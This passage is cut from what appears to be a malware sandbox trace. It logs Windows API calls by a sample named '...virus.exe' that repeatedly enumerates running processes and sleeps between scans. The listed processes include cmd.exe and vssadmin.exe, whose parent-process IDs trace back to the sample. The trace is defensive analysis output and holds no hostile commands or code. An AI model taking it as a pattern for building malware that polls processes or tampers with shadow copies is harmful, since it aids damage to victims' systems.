szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0264.136] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0264.136] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0264.137] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0264.137] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0264.138] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0264.138] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.138] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.139] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0264.139] CloseHandle (hObject=0xc4) returned 1 [0264.139] Sleep (dwMilliseconds=0x1f4) [0264.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc4 [0264.967] Process32FirstW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.967] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.968] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.968] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.968] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.969] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.969] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.969] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.970] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.970] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.970] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.971] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.971] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.971] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.972] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.972] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.972] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.973] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.973] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.974] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.974] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.974] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.975] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.975] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0264.975] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0264.976] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0264.976] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0264.976] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0264.977] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0264.977] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.978] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.978] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0264.978] CloseHandle (hObject=0xc4) returned 1 [0264.978] Sleep (dwMilliseconds=0x1f4) [0265.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc8 [0265.535] Process32FirstW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.536] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.536] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.537] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.537] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.538] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.538] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.538] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.539] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.539] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.540] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.540] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.540] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.541] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.541] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.541] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.545] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.545] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.546] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.546] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.546] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.547] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.547] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.547] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0265.548] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0265.548] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0265.549] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0265.549] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0265.550] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0265.550] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.550] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.551] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0265.551] CloseHandle (hObject=0xc8) returned 1 [0265.551] Sleep (dwMilliseconds=0x1f4) [0266.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc8 [0266.170] Process32FirstW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.171] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.171] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.172] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.172] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.173] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.173] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.173] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.174] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 